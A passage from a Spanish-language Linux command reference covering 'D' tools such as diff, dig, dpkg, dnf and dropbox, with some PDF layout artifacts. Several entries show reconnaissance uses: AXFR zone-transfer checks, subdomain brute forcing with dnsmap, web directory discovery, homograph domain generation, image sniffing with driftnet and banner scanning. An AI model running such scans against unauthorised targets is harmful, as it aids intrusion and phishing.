concatenando 3 palabras, con mayusculas, insertar 4 caracteres especiales y seprando las palabras con un ?
```

## dict

Diccionario en inglés.

```
$ dict linux
```

## didiwiki

wiki rápida y ligera para uso personal.

```
$ didiwiki -h /home/USER -l 127.0.0.1 -p 5000
```

En el navegador colocar la dirección <http://localhost:5000> y se vera el directorio especificado.

## diff

Mostrar diferencias entre dos directorios o ficheros

```
$ diff archivo1 archivo2
Compara diferencias entre dos ficheros
```

```
$ diff -r carpeta1 carpeta2
Compara diferencias de forma recursiva en los directorios
```

```
$ diff -w fichero1 fichero2
Descarta espacios en blanco
```

```
$ diff -q fichero1 fichero2
Informa si los ficheros difieren sin mostrar detalles
```

```
$ diff -y fichero1 fichero2
Muestra la salida a dos columnas
```

```
$ diff -urp dir1 dir2
Compara recursivamente el contenido de 2 directorios.
```

```
$ diff -ru carpeta_original carpeta_modificada > parche.patch
Compara de forma recursiva dos directorios y genera un parche en un fichero .patch con formato unificado de diff
```

```
$ diff -u <(grep -vE '^(#|$)' file1) <(grep -vE '^(#|$)' file2)
Los compara ignorando comentarios y lineas en blanco
```

## diffimg

Genera una imagen donde cada píxel es la diferencia entre el píxel correspondiente en cada una de las dos imágenes de origen. Por lo tanto, si las imágenes de origen son las mismas, la imagen resultante será negra; de lo contrario, tendrá regiones no negras donde las imágenes difieren. Acepta .png, .gif y .jpg.

```
$ diffimg imagen1.png imagen2.png
```

## diffmon

Monitorear archivos del sistema. El archivo donde especificar lo que se han de controlar es /etc/diffmon/diffmon.cf. Está diseñado para ejecutarse como un trabajo cron

```
$ diffmon
```

## diffoscope

Comparar de forma recursiva archivos de muchos tipos [binarios, tarballs, imágenes ISO, pdfs...]. Las diferencias se pueden mostrar como texto o HTML. Los diversos comparadores dependen de comandos externos.

```
$ diffoscope --list-tools
lista los comandos externos que se precisan
```

```
$ diffoscope --html salida.html archivo1.txt archivo2.txt
```

```
$ diffoscope --text salida.txt archivo1.txt archivo2.txt
```

## diffpdf

Compara dos archivos pdf.

```
$ diffpdf archivo1.pdf archivo2.pdf
```

## dig

[dnsutils]. Realizar consultas a los servidores DNS

```
$ dig tuxapuntos.com
```

```
$ dig telefonica.net DNS
Mostrando los servidores DNS del dominio
```

```
$ dig -x 74.220.215.64
Resolución inversa
```

Nota.- Los datos importantes en la ANSWER SECTION

```
$ dig +short myip.opendns.com @resolver1.opendns.com
muestra IP externa
```

```
$ dig tuxapuntos.com somedomainname.net axfr
mirar si un dominio es susceptible de ataques axfr
```

```
$ dig +trace tuxapuntos.com
Ver saltos de la petición hasta el servidor
```

```
$ dig ANY tuxapuntos.com
Consultar todos los registros de la zona DNS
```

## digup

és una eina per actualitzar fitxers md5sum o shasum digest. Llegirà els fitxers de resum existents, comprovarà el directori actual si hi ha fitxers nous, actualitzats, modificats, canviats de nom o eliminats i consultarà a l'usuari amb un resum dels canvis. Després de revisar les actualitzacions, es poden escriure de nou al fitxer de resum.

```
$ digut
scanea el directorio y entra en el prompt de digup
```

Command (see help)? new (imprime los archivos modificados. Si es la primera vez que se lanza los pondrá todos)

Si al cabo de unos dias se vuelve a lanzar.

Command (see help)? changed (mostrará los modificados)

Command (see help)? deleted (mostrará los eliminados)

Command (see help)? help (ver las opciones disponibles)

Command (see help)? exit (salir)

## ding

Avisa con un pitido pasado determinado tiempo o a una hora especificada. descarga <<https://github.com/liviu-/ding>>

```
$ ding in 1h 15m
que avise en una hora y cuarto
```

```
$ ding at 14:45:30
A una hora, minuto y segundo concreto
```

## dir

listar el contenido del directorio.

```
$ dir -a
todo con archivos ocultos
```

```
$ dir -A
sin archivos ocultos
```

```
$ dir --color
con colores
```

```
$ dir -C
por columnas y orden alfabético
```

```
$ dir -c
por orden de modificación
```

## dircolors

Configuración de color para ls.

```
$ dircolors -b
generar el código de shell para establecer la variable LS_COLORS
```

```
$ dircolors --print-ls-colors
mostrar colores
```

## directorylister

Un simple script en PHP creado para compartir el contenido de un directorio y sus subdirectorios via web. Descarga: <<http://www.directorylister.com/>> Colocar la carpeta en el directorio web.

```
$ cd DirectoryLister
```

```
$ mv README.md COPYING resources
```

```
$ cd resources
```

```
$ cp default.config.php config.php
```

Modificar lo que proceda. Todos los archivos o carpetas que pongamos en el directorio que contiene el index.php se verá reflejado cuando accedamos a <http://localhost/DirectoryLister>.

## dirhunt

Encontrar directorios en sitios web aunque el servicio no esté habilitado (<<https://github.com/Nekmo/dirhunt>>)

```
$ dirhunt http://dominio.com http://dominio2.com
escanear dos urls
```

```
$ dirhunt http://dominio.com -e php,zip,sh
buscar determinadas extensiones. Por defecto php, zip, sh, asp, csv y log
```

```
$ dirhunt http://dominio.com -f access_log,error_log
buscar determinados archivos
```

```
$ dirhunt http://dominio.com --stdout-flags blank,not_found.fake,html > flags.txt
especificar flags y guardarlo en un fichero
```

## D

---

### dirname

Eliminar el último componente de un archivo.

```
$ dirname /usr/bin
Muestra sólo /usr
```

### dirs

Ver pushd

### discover

Sistema de identificación de hardware. Realiza detección de hardware en el momento del arranque. La información se almacena en el archivo /lib/discover/list.xml que puede visualizarse con el navegador.

```
$ discover
```

### discus

Utilidad similar a df para verificar el uso de espacio en disco.

```
$ discus
lanzamiento básico
```

```
$ discus -d -p 2 -m
mostrando nombres de los dispositivos, el uso de espacio con 2 dígitos y en megabytes
```

### disktype

Detección de formatos de disco [sistemas de archivo, particiones, volúmenes, imágenes, archivos comprimidos...]

```
# disktype /dev/sda2
```

```
$ disktype imagen.iso
```

```
$ disktype archivo
```

### disown

Disociar un proceso de la terminal que lo lanzó. Cuando creamos un proceso desde una terminal, éste queda ligado a la terminal. Si se cierra la terminal, también se cierra el proceso. disown evita tal contingencia. Veamos el proceso:

Si se lanza:

```
$ yes > /dev/null
```

Cerramos y volvemos a abrir la terminal y ejecutamos:

```
$ ps aux | grep yes | grep -v grep
```

Veremos que el proceso no existe. Si volvemos a lanzar "yes":

```
$ yes > /dev/null
```

Pulsamos Ctrl+z:

```
[1]+  Detenido          yes > /dev/null
```

## D

---

Lanzando:

```
$ jobs
```

Nos mostrará la misma salida. Ahora en el prompt escribimos:

```
$ disown -h %1
```

Con lo que desligamos el proceso de la terminal. Hemos liberado la terminal pero si la cerramos, aún matamos el proceso "yes". Para que esto no ocurra, lo mandamos a segundo plano con bg y número de proceso [1]:

```
$ bg 1
```

```
[1]+ yes > /dev/null &
```

Ahora podemos cerrar la terminal sin que el proceso "yes" se vea afectado. El proceso se simplifica si ya lanzamos el comando en background:

```
$ yes > /dev/null &
```

```
[1] 13248
```

Lo disociamos de la terminal:

```
$ disown -h %1
```

Y ya podemos cerrar la terminal sin afectar al proceso.

Otras opciones:

```
$ disown -a
Desliga todos los procesos ejecutados desde la terminal
```

```
$ disown -r
Desliga los que esten en marcha [running]
```

## display

[imagemagick]. Visualizar imagenes en las X.

```
$ display imagen.jpg
```

```
$ DISPLAY=:0.0 gedit
lanzado desde una tty, abre gedit en las X. Si solo tenemos una sesión X corriendo, puede
suprimirse el .0
```

```
$ gxmessage Cierra el firefox -display :0
Lanzado desde una tty mostrará el mensaje en las X
```

## distro-info

Información sobre las versiones de Debian.

```
$ distro-info --all
muestra todas las que se han publicado
```

```
$ distro-info --stable
la stable actual
```

```
$ distro-info --testing
la testing actual
```

## ditaa

Transforma caracteres ascii en mapas de bits.

```
$ nano grafic.txt
```

```

+-----+ +-----+ +-----+ /-----\
| clFF  | --+ text +--> | cBLK  |      | Text  | |
| Text  | +-----+ | Text  | ---> |      |
|      | | Text  | | +---+ | cBLU  |
| {d}  | | cGRE  | | | B  | \-----/
+---+---+ +-----+ +---+---+
      :          +---+ ^ |
      |      text |cRED| | |
+-----+-----+-----+ |
                        |cC02| +-----+
                        +---+ +---+ |
                              |c1AB| |
                              |text|<-----+
                              +---+

```

```
$ ditaa grafic.txt grafic.png
```

## ditto

Herramienta para generar variantes con caracteres parecidos [homógrafos] de un dominio. Puede causar un baneo temporal de los servidores de WHOIS.

```
$ ditto -string palabra
sobre una palabra
```

```
$ ditto -domain nombre.com
sobre un dominio
```

```
$ ditto -domain nombre.com -available
que muestre solo los disponibles
```

```
$ ditto -domain facebook.com -registered
mostrar solo los registrables
```

## djvm

Manipular documentos .djvu

```
$ djvm -l fichero.djvm
Lista el contenido
```

```
$ djvm -c archivo.djvu file1.djvu file2.djvu
Crea un archivo juntando varios archivos djvu
```

```
$ djvm -d archivo.djvu 0022
Eliminar la página 22 del archivo.djvu
```

## djvudump

Mostrar la estructura interna de los archivos DjVu.

```
$ djvudump archivo.djvu
```

## djvusmooth

Visor y manipulador gráfico de documentos djvu.

```
$ djvusmooth archivo.djvu
```

## dlint

Analiza cualquier zona DNS que se especifique e informa de cualquier problema que encuentre mostrando errores y advertencias.

```
# dlint lapipaplana.org
```

## dmesg

Imprimir en pantalla los mensajes del kernel

```
$ dmesg | grep -i 'error'
lista los errores del kernel
```

```
$ dmesg | grep hd
inf sobre dispositivos IDE.
```

```
$ dmesg -c
Limpiar el registro
```

```
$ dmesg -T
Que muestre la hora
```

## dmidecode

Muestra toda la información de la máquina directamente de la BIOS

```
# dmidecode -t
muestra los elementos sobre los que se puede solicitar
```

```
# dmidecode -s
Muestra el listado para afinar más la búsqueda de datos
```

```
# dmidecode -t memory | grep Size
muestra la memoria y los slots libres
```

```
# dmidecode -t processor | grep "Core Count"
número de cores reales
```

```
# dmidecode | grep "Current Speed"
muestra la frecuencia de la RAM
```

```
# dmidecode -t 0
información sobre la BIOS
```

```
# dmidecode -t 1
informacion del fabricante: núm serie, producto...
```

```
# dmidecode -t 2
información sobre la placa base
```

```
# dmidecode -t 4
información sobre la CPU
```

```
# dmidecode --type=processor | grep -i -A 1 charac
si el procesador es de 32 o 64 bit
```

```
# dmidecode -t memory | grep Maxi | grep Capa
máximo de memoria soportada
```



## dmrc

En algunas ocasiones al iniciar ubuntu aparece la siguiente nota:

su archivo \$HOME/.dmrc no tiene los permisos adecuados y sera ignorado. Esto causara que la sesion e idioma predeterminado no se guarden. El archivo deberia pertenecer al usuario y tener los permisos 644

Para solucionarlo:

```
# chmod 700 /home/usuario
```

```
# chmod 644 /home/usuario/.dmrc
```

## dnf

Sistema de administración de paquetes predeterminado en la mayoría de distribuciones basadas en RPM.

```
# dnf upgrade
actualizar listado
```

```
# dnf group list
listar todos los grupos de paquetes
```

```
# dnf group info "nombre grupo"
información de un grupo
```

```
# dnf group install "nombre grupo"
instalar todos los paquetes de un grupo
```

```
# dnf group remove "nombre grupo"
eliminar un grupo de paquetes
```

```
# dnf list all
listar todos los paquetes instalados y disponibles
```

```
# dnf list installed
listar todos los instalados
```

```
# dnf list available
listar todos los disponibles
```

```
# dnf list available paquete
ver todos los paquetes relacionados con "paquete" disponibles
```

```
# dnf info paquete
buscar información sobre "paquete"
```

```
# dnf search paquete
buscar paquete
```

```
# dnf install paquete
instalar "paquete"
```

```
# dnf remove paquete
desinstalar "paquete"
```

```
# dnf install paquetel paquete2 paquete3
instalar varios paquetes
```

## dns

El servidor DNS traduce los números IP a nombres inteligibles para los seres humanos. Estos servicios están vinculados a los ISP, es decir, a nuestros proveedores de acceso a Internet. Sin embargo, estas IPs pueden ser modificadas para conseguir mejores rendimientos o por manías personales con algunas opciones más libres o profesionales. La manera de saber si el servidor DNS responde correctamente es hacer un ping consistente en enviar una pequeña cantidad de información al servidor y medir la velocidad en milisegundos de la respuesta. Valores inferiores a 70 ms (Al final de la línea [time=62.9 ms]) son razonables:

```
$ ping -c 3 8.8.8.8
```

Algunas opciones a las ofrecidas por nuestras ISP:

```
Google -> 8.8.8.8,      8.8.4.4
OpenDNS -> 208.67.222.222, 208.67.220.220
Level3 -> 4.2.2.1, 4.2.2.2, 4.2.2.3, 4.2.2.4, 4.2.2.5 y 4.2.2.6
Dyn -> 216.146.35.35, 216.146.36.36
DNSadvantage -> 156.154.70.1, 156.154.71.1
Ona vez escogidas las DNSs:
```

```
# nano /etc/resolv.conf
```

Colocar:

```
nameserver 4.2.2.1
nameserver 4.2.2.2
Nota.- Comentar o borrar las existentes.
```

Para evitar que network-manager sobrescriba el archivo resolv.conf, bloquear el fichero:

```
# chattr +i /etc/resolv.conf
Para desbloquearlo -i
```

## dnscrypt

Cifrar el tráfico DNS.

```
$ wget https://github.com/downloads/opendns/dnscrypt-proxy/dnscrypt-proxy-1.2.0.tar.gz
$ tar xvzf dnscrypt-proxy-1.2.0.tar.gz
$ cd dnscrypt-proxy-1.2.0/
$ ./configure
$ make
# make install
# dnscrypt-proxy --daemonize
Arrancar el demonio
```

Modificar las DNSs en:

```
# nano /etc/resolv.conf
```

Colocar:

```
nameserver 127.0.0.1
```

Nota.- Comentar las existentes.

Para evitar que network-manager sobrescriba el archivo resolv.conf, bloquear el fichero:

```
# chattr +i /etc/resolv.conf
Para desbloquearlo -i
```

## dnsdiag

Herramientas [dnseval, dnsping y dnstraceroute] para realizar auditorías básicas de solicitudes y respuestas DNS.

## dnsdomainname

Muestra el nombre del dominio DNS del sistema.

```
$ dnsdomainname
```

## dnseval

[cpanminus libnet-dns-perl libnet-netmask-perl libxml-writer-perl]. Herramienta diseñada con el propósito de consultar los servidores DNS de un dominio. Descarga: <<https://github.com/fwaeytens/dnseval>> . Previamente lanzar:

```
# cpanm String::Random
```

```
# perl dnseval.pl URL
```

```
# perl dnseval.pl --noreverse -o resultado.xml URL
```

Evitar operaciones de búsqueda inversa y guardando el resultado en un fichero

## dnseval

[dnsdiag]. Evalúa múltiples resoluciones de DNS y ayuda a elegir el mejor servidor DNS para su red. Se recomienda utilizar su propio dispositivo de resolución de DNS en lugar de un servidor DNS de terceros, pero en caso de que necesite elegir el mejor reenviador de DNS para su red, dnseval le permite comparar diferentes servidores DNS en relación al rendimiento, la latencia y la fiabilidad.

```
# dnseval -T facebook.com
forma básica
```

```
# dnseval -t A -f public-servers.txt -c 20 yahoo.com
```

Clase de registro "A", de una lista de servicios DNS y 20 solicitudes a enviar a yahoo.com

## dnsmap

Herramienta que, mediante fuerza bruta, permite obtener los subdominios de un dominio.

```
$ dnsmap url
forma básica
```

```
$ dnsmap url -w words.txt -r resultado.txt
```

Usando un diccionario [w] y derivando el resultado a un fichero [r]

Nota.- Descarga de diccionarios en <<http://packetstormsecurity.org/Crackers/wordlists/dictionaries/>>

## dnsmasq

Para que el ordenador guarde en cache las páginas visitadas y no vuelva a resolver las ips con el servidor DNS:

```
# gedit /etc/resolv.conf
```

Independientemente de que existan más líneas indicando otras ips, añadir la siguiente:

```
nameserver 127.0.0.1
```

Y para distribuir la carga entre varios servidores, añadir la línea:

```
options timeout:1 rotate attempts:1
```

Comprobar el correcto funcionamiento:

```
$ dig tuxapuntos.com | grep Query
```

```
;; Query time: 369 msec
```

## D

Volver a lanzar dig:

```
$ dig tuxapuntos.com | grep Query
```

```
;; Query time: 0 msec
```

Si nuestra IP es dinámica, NetworkManager nos modificará cada cierto tiempo el archivo `/etc/resolv.conf`, para substituir el creado automáticamente por el nuestro:

```
# cp /etc/resolv.conf /etc/resolv.conf.local
Asegurándonos que este último tiene la línea nameserver 127.0.0.1
```

```
# crontab -e
```

```
*/3 * * * * cp /etc/resolv.conf.local /etc/resolv.conf (actualizar cada 3 minutos)
```

## dnsping

[dnstool]. Se usa para medir el tiempo de respuesta de un servidor DNS dado para solicitudes arbitrarias. Al igual que una utilidad de ping tradicional, proporciona una funcionalidad similar para las solicitudes de DNS.

```
# dnsping dnstool.org
forma básica
```

```
# dnsping -c 3 -t A -s 8.8.8.8 dnstool.org
3 solicitudes de registro "A" usando las DNSs de google
```

## dnstop

Monitorear el tráfico dns.

```
# dnstop -i 192.168.1.3 -p -r 2 eth0
Excluir la propia máquina [i], en modo no promiscuo [p], actualizando cada 2 segundos [r] y la red objetivo
```

En la mayoría de los casos, lo normal es lanzar:

```
# dnstop eth0
```

Y realizar las consultas de forma interactiva pulsando las siguientes teclas:

```
s (visualizar las direcciones de origen)
d (visualizar las direcciones de destino)
t (desglosar por tipo)
r (mostrar el desglose de los códigos de respuesta)
1 (mostrar consulta de primer nivel [.com, .net, .info])
2 (mostrar consulta de segundo nivel)
3 (mostrar consulta de tercer nivel)
! (mostrar fuente y consulta de primer nivel)
@ (mostrar fuente y consulta de segundo nivel)
# (mostrar fuente y consulta de tercer nivel)
Ctrl + r (Reinicia el contador)
? (Muestra la ayuda)
Ctrl + x (Salir)
```

## dnstracer

Consultas DNS desde una ip o un host. dnstracer determina cuando un servidor de nombres de dominio [DNS] obtiene información de un nombre de anfitrión dado, y a continuación el servidor DNS manda la respuesta de autorización.

```
$ dnstracer host
```

## dnstraceroute

[dnsdiag]. Se utiliza para rastrear la ruta que toma una solicitud DNS de origen al destino. Su propósito es detectar si una solicitud es redirigida o secuestrada. Esto se puede hacer comparando diferentes consultas DNS que se envían al mismo servidor DNS usando dnstraceroute y observar si hay alguna diferencia en la ruta.

```
# dnstraceroute facebook.com
forma básica
```

```
# dnstraceroute -e -C -t A -s 8.8.4.4 facebook.com
impidiendo las sugerencias de los expertos si eestan disponibles, a todo color y usando las DNSs
de google)
```

## doc-debian

El Proyecto Debian es una asociación de individuos que han hecho causa común para crear un sistema operativo libre. En este paquete, se encuentra: Manifiesto de Debian Linux, Constitución del Proyecto Debian, Contrato Social de Debian, Directrices de Software Libre de Debian, Documentación del Sistema de Seguimiento de Fallos de Debian y una introducción a las listas de correo de Debian. Todos estos archivos están disponibles en <http://ftp.debian.org/debian/doc/>.

## dochelp

Documentación sobre comandos del sistema.

```
$ dochelp
Muestra el listado
```

```
$ nano /usr/share/doc-base/time
```

## dog

Parecido a cat.

## dontzap

Activa CTRL+ALT+Retroceso para reiniciar las X

```
dontzap -d      (Lo activa)
```

```
dontzap -e      (Lo desactiva)
```

## do-release-upgrade

Herramienta para actualizar por consola sistemas basados en Ubuntu a una nueva versión de la distribución. Para configurar si queremos actualizar entre versiones normales o versiones LTS, debemos modificar del fichero `/etc/update-manager/release-upgrades` la línea:

Para versiones LTS:

```
Prompt=lts
```

Para versiones normales:

```
Prompt=normal
```

Para no verificar nunca nuevas versiones:

```
Prompt=never
```

Estas modificaciones son válidas también para `update-manager [ver]`

```
# do-release-upgrade -d
```

## doas

Primero crear el archivo:

```
# nano /etc/doas.conf
```

Y entrar el usuario con permisos root:

```
permit persist :USER as root
```

Especificar los permisos y propietario del archivo:

```
# chown -c root:root /etc/doas.conf
```

```
# chmod -c 0400 /etc/doas.conf
```

Luego el usuario especificado en el archivo podrá, por ejemplo, ejecutar:

```
$ doas -u root apt update
```

## dos2unix

Convertir un formato de fichero texto MSDOS a UNIX.

```
$ dos2unix filedos.txt fileunix.txt
```

## doscan

Scanner de interfaces para conocer los servicios de red activos.

```
# doscan --banner 100 --port 22 192.0.2.0/24
```

## dosfsck

Comprobar y reparar sistemas de archivos MS-DOS

```
# dosfsck -altrvV /dev/sdbx
```

-a (repara automáticamente)

-l (Lista las rutas de los archivos procesados)

-t (Marca los clusters inaccesibles como dañados.)

-r (Repara el sistema preguntando cuando hay varias soluciones)

-v (Modo detallado)

-V (Realiza una pasada de verificación)

## dot

Lenguaje de descripción de gráficos. Los gráficos generalmente se almacenan con la extensión de nombre de archivo .gv o .dot aunque se prefiere .gv para evitar confusiones.

```
$ gpicview output.svg
```

Para visualizar los gráficos de los siguientes ejemplos

```
$ echo 'digraph { a -> b }' | dot -Tsvg -o output.svg
```

```
$ echo 'digraph { a -> b }' | dot -Tpng -Gfontcolor=red -Glabel="Gráfico importante" -o output.png
```

```
$ echo 'digraph { a -> b }' | dot -Tsvg -Nfontcolor=red -Nshape=rect -o out.svg
```

```
$ echo 'digraph { a -> b }' | dot -Tsvg -Ecolor=red -Earrowhead=diamond -o out.svg
```

## D

```
$ echo 'digraph { a -> b }' | dot -Tsvg -o output.svg
```

```
$ dot -Tsvg -O ~/graph1.gv ~/graph2.gv
generar automáticamente graph1.svg y graph2.svg
```

```
$ dot -P -Tsvg -o plugins.svg
ver gráfico de todos los plugins del ejecutable
```

Algunos ejemplos más complejos:

1.-

```
$ echo 'digraph sample3 {
```

```
A -> {B ; C ; D}
```

```
C -> {B ; A}
```

```
} ' | dot -Tpng -Nfontcolor=red -Nshape=oval -Glabel="Gráfico importante" -Nstyle=bold -o output.png
```

2.-

```
$ echo 'digraph test123 {
    a -> b -> c;

    a -> {x y};

    b [shape=box];

    c [label="hello\nworld",color=blue,fontsize=24,
        fontname="Palatino-Italic",fontcolor=red,style=filled];

    a -> z [label="hi", weight=100];

    x -> z [label="multi-line\nlabel"];

    edge [style=dashed,color=red];

    b -> x;

    {rank=same; b x}
}
```

```
' | dot -Tpng -Nfontcolor=red -Nshape=box -Glabel="Gráfico importante" -Nstyle=invis -o output.png
```

## downgrade

Bajar versión a un programa instalado.

```
# downgrade firefox
```

Mostrará la salida: please choose a version, [s]earch A.R.M., or [q]uit:

Pulsando s mostrará las versiones disponibles para ser instaladas.

## downtimed

Demonio para monitorear y llevar un registro del tiempo de inactividad del sistema operativo, paradas y bloqueos. Los registros se realizan en /var/lib/downtimed/

```
# service downtimed status
para saber si está activo
```

## dpigs

[debian-goodies]. Muestra los paquetes que ocupan más espacio.

```
$ dpigs
Los primeros diez 10. Opción por defecto

$ dpigs -n 20
Los primeros 20

$ dpigs -S
Muestra los paquetes fuente más grandes instalados en el sistema

$ dpigs -H -n 15
en medidas entendibles y los 15 que ocupan más espacio
```

## dpkg

Gestor de programario de distros derivadas de Debian

```
# dpkg -i paquete
Instalación de paquetes .deb

# dpkg -r paquete
Desinstala un paquete

# dpkg --purge paquete
Desinstala junto sus archivos de configuración

# dpkg --audit
Visualizar paquetes instalados parcialmente

# dpkg --force -r paquete
Fuerza la desinstalación de un paquete

# dpkg --force-all -r paquete
Fuerza más la desinstalación de un paquete

# dpkg --purge --force-all paquete
Otra opción para desinstalar un paquete

# dpkg -c paquete
Muestra los ficheros de un paquete

# dpkg --get-selections
paquetes descargados sin instalar

# dpkg -C
Muestra los instalados parcialmente

# dpkg -L paquete
Ficheros que se instalaron con un paquete

$ dpkg -l inkscape
Conocer si un paquete está instalado y su versión

# dpkg -l 'emacs*'
listará todos los paquetes instalados o no, cuyo nombre coincida con el argumento pasado

# dpkg -l 'emacs*' | grep '^un'
Mostrar los no instalados

# dpkg -S fichero
Muestra a qué paquete pertenece un fichero

# dpkg --get-selections
Muestra todos los paquetes instalados en el sistema

# dpkg --get-selections | cut -f1
Lo mismo más fino
```



## D

```
# dpkg --get-selections > lista.txt
Los manda a un fichero

# dpkg --get-selections | grep python
muestra todos los paquetes python

# dpkg -l > llistat.txt
Manda a un fichero todos los paquetes Debian

# dpkg --status paquete
Info, dependencias, recomendaciones, sugerencias

# dpkg -install paquete --force-conflicts
instalar un paquete conflictivo

# dpkg --print-architecture
mostrar la arquitectura de un pc

# dpkg-reconfigure paquete
Reconfigura paquetes instalados

# dpkg-reconfigure -phigh -a
Reconfigurar todo el sistema

# dpkg-reconfigure debconf
R. interfaz de configuración

# dpkg-reconfigure xserver-xorg
R. el servidor X

# dpkg-reconfigure console-common
R. el teclado

# dpkg-reconfigure console-setup
mismo que lo anterior

# dpkg-reconfigure locales
R. el lenguaje

# dpkg-reconfigure tzdata
R. la zona horaria

# dpkg-reconfigure console-data
R. las tty

# dpkg-reconfigure -a
Borra paquetes de configuraciones

# dpkg-reconfigure fontconfig-config
R. fuentes. Seguir con:

# dpkg-reconfigure fontconfig
R. fuentes

# dpkg --configure -a
R. inconsistencias o procesos despues de un cuelgue

# dpkg-query -W paquete
Ver versión de un paquete

# dpkg -i --force-overwrite /var/cache/apt/archives/paquete.deb
forzar install

# dpkg -b deb paquete.deb
Convertir la carpeta deb en un archivo .deb
```

1.-

En ocasiones, algún paquete medio o mal instalado puede bloquear la aplicación. En estos casos puede usarse:

```
# rm /var/lib/apt/lists/* -vf
```

## D

---

Y a continuación:

```
# apt-get update
```

2.-

Forzar desinstalación de paquetes resistentes.

```
# dpkg --purge --force-remove-reinstreq paquete
# dpkg --listfiles paquete_dañado
# gedit /var/lib/dpkg/status (eliminar la sección paquete_dañado)
# gedit /var/lib/dpkg/available (eliminar la sección paquete_dañado)
# dpkg -l | grep ^rc | awk '{print $2}' | sudo xargs dpkg -P (suprimir residuos de
    instalaciones)
3.-
```

Otra forma de forzar la desinstalación de paquetes conflictivos:

```
# rm /var/lib/dpkg/info/paquete
# dpkg -r --force-remove-reinstreq paquete
# dpkg -l | sed '/^rc/!d;s/^[\^ ]* [\^ ]* \([^ ]*\).*/\1/' | xargs -r sudo apt-get -y purge
    (Suprimir configuraciones residuales y huérfanas)
4.-
```

Otro modo de suprimir archivos de configuración huérfanos (rc):

```
# dpkg -l | grep ^rc (Comprobar si tenemos paquetes de estas características)
# dpkg -P $(dpkg -l | awk '/^rc/ { print $2 }') (Eliminarlos)
5.-
```

Añadir arquitectura 386 a una máquina amd64 para permitir instalar paquetes sólo disponibles para aquella arquitectura:

```
# dpkg --add-architecture i386
```

```
# apt-get update
```

6.-

Limpiar paquetes obsoletos:

```
# dpkg -l | grep -i ^rc
Para visualizarlos
```

```
# dpkg -l | grep -i ^rc | cut -d " " -f 3 | xargs dpkg --purge
Para eliminarlos
```

7.-

Otro proceso para reparar paquetes rotos en el sistema

```
# dpkg --configure -a (reconfigurar posibles paquetes pendientes)

# apt-get clean && sudo apt-get autoclean (limpiar caché)

# rm /var/lib/apt/lists/lock && rm /var/cache/apt/archives/lock && rm /var/lib/dpkg/lock

# apt-get update --fix-missing (regenerar listados de paquetes de los repositorios)

# apt-get install -f (corregir dependencias rotas)
```

## dpkg-depcheck

Determina los paquetes utilizados para ejecutar un comando. Este programa ejecuta el comando especificado bajo strace y luego determina y saca los paquetes usados en el proceso.

```
$ dpkg-depcheck -b ip a
```

```
$ dpkg-depcheck -a ls
```

## dpkg-divert

Herramienta para instalar un paquete en una ubicación no predeterminada. Las ubicaciones alternativas de un archivo que se realizan mediante la orden dpkg-divert son una forma de obligar a dpkg a instalar un archivo en una ubicación alternativa y no en su ubicación por defecto. Su utilización es una práctica en desuso.

## dpkg-query

Herramienta para buscar información del paquete referenciado en la base de datos.

```
$ dpkg-query -l gedit
Muestra arquitectura, versión y descripción de gedit
```

```
$ dpkg-query -L gedit
archivos instalados en el sistema desde el nombre del paquete
```

```
$ dpkg-query -s gedit
muestra el estado del paquete
```

## driftnet

Snifer de imagenes y video

```
# driftnet -i wlan2
```

## driverless

Lee el fichero /usr/lib/cups/driver/ para enumerar las impresoras sin controlador disponibles.

```
$ driverless list
listado
```

## droopy

Mini web server para recibir archivos.

```
$ mkdir fotos
crear el directorio donde recibir las imagenes que nos han de enviar
```

```
$ cd fotos
```

```
$ droopy -m "Buenassssss, puedes enviarme las fotos que quieras" -p ~/gnu.png -d ~/imagenes
con el texto que queremos [m], ilustrado con la imagen deseada [p] y que lo que nos envien se
guarde en la carpeta especificada [d]
```

Accedemos en local con la dirección `http://localhost:8000` y en remoto han de acceder, si no tenemos nombre de host registrado, con `http://nuestra_ip:8000/fotos`

## dropbox

Almacenamiento en la nube. Linea de comandos para el servicio Dropbox.

```
$ dropbox status
Muestra el estado actual del demonio
```

```
$ dropbox help update
Muestra información sobre el comando que se especifique
```

```
$ dropbox puburl archivo
```

## D

```
Muestra una URL de "archivo" para compartir
```

```
$ dropbox stop
```

```
Para el servicio
```

```
$ dropbox running
```

```
Comprobar si está activo el demonio
```

```
$ dropbox update
```

```
Descargar la última versión de dropbox
```

```
$ dropbox start
```

```
Arranca el servicio
```

```
$ dropbox start -i
```

```
Arranca el servicio e instala el demonio dropboxd si no está disponible en el sistema
```

```
$ dropbox filestatus -l -a directorio
```

```
Lista los archivos del directorio especificado incljuso los ocultos
```

```
$ dropbox filestatus fichero
```

```
Muestra el estado del fichero
```

```
$ dropbox autostart
```

```
Si respondemos "n" dropbox no se iniciará automáticamente al iniciar la sesión. Por defecto "y":  
si
```

```
$ dropbox exclude list
```

```
Muestra los directorios excluidos de la sincronización
```

```
$ dropbox exclude add dir1
```

```
Excluir un directorio de la sincronización
```

```
$ dropbox exclude add dir1 dir2
```

```
Excluir varios directorios
```

```
$ dropbox exclude remove dir1
```

```
Elimina un directorio de la lista de exclusión
```

```
$ dropbox lansync
```

```
Por defecto usa sincronización LAN. Si respondemos "n" no la usará
```

1.-

Activar la carpeta "Public" en nuestra cuenta. Visitar la siguiente dirección web <[https://www.dropbox.com/enable\\_public\\_folder](https://www.dropbox.com/enable_public_folder)>

Tras la confirmación aparecerá en nuestra cuenta de Dropbox.

## droppy

Mini servidor web cuyo único propósito es permitir que otros carguen archivos a tu computadora. El proceso es:

```
$ mkdir ~/descargas (crear directorio donde irá lo que envíen)
```

```
$ cd descargas (entrar en el directorio)
```

```
$ droppy -m "Buenas, soy GNU, ¿quieres subir alguna cosa?." -p /home/pep/Imatges/gnul.png (lanzar  
droppy con el texto y la imagen que verán en la web)
```

Para comprobar si el sistema está en servicio, en el navegador colocar la dirección <http://localhost:8000> y haciendo clic en "Discover the address of this page" [Descubre la dirección de esta página] se informa la ip donde enviar las fotos.

## dselect

Paquete obsoleto sustituido por aptitude.

## dstat

Monitor de trafico de red

```
# dstat
uso básico
```

```
# dstat -c --top-cpu -dn --top-mem
uso de CPU, proceso que más usa la CPU, estadística de disco y red y proceso que consume más memoria
```

## dte

Editor de texto por consola mínimo.

```
$ dte
```

## dtrx

Descompresor de archivos comprimidos en varios formatos [ tar, zip, rpm, deb, gem, 7z, cpio, rar, bzip2, gzip...]

```
$ dtrx -r archivo.zip
descomprimir de forma recursiva el zip y todos los comprimidos de su interior
```

```
$ dtrx -l archivo.zip
Lista los archivos de archivo zip
```

## du

Mostrar el espacio usado por los directorios

```
$ du -a
Para todos los ficheros, no solo los directorios
```

```
$ du -h
Da los resultados en M y G, por defecto son en bytes
```

```
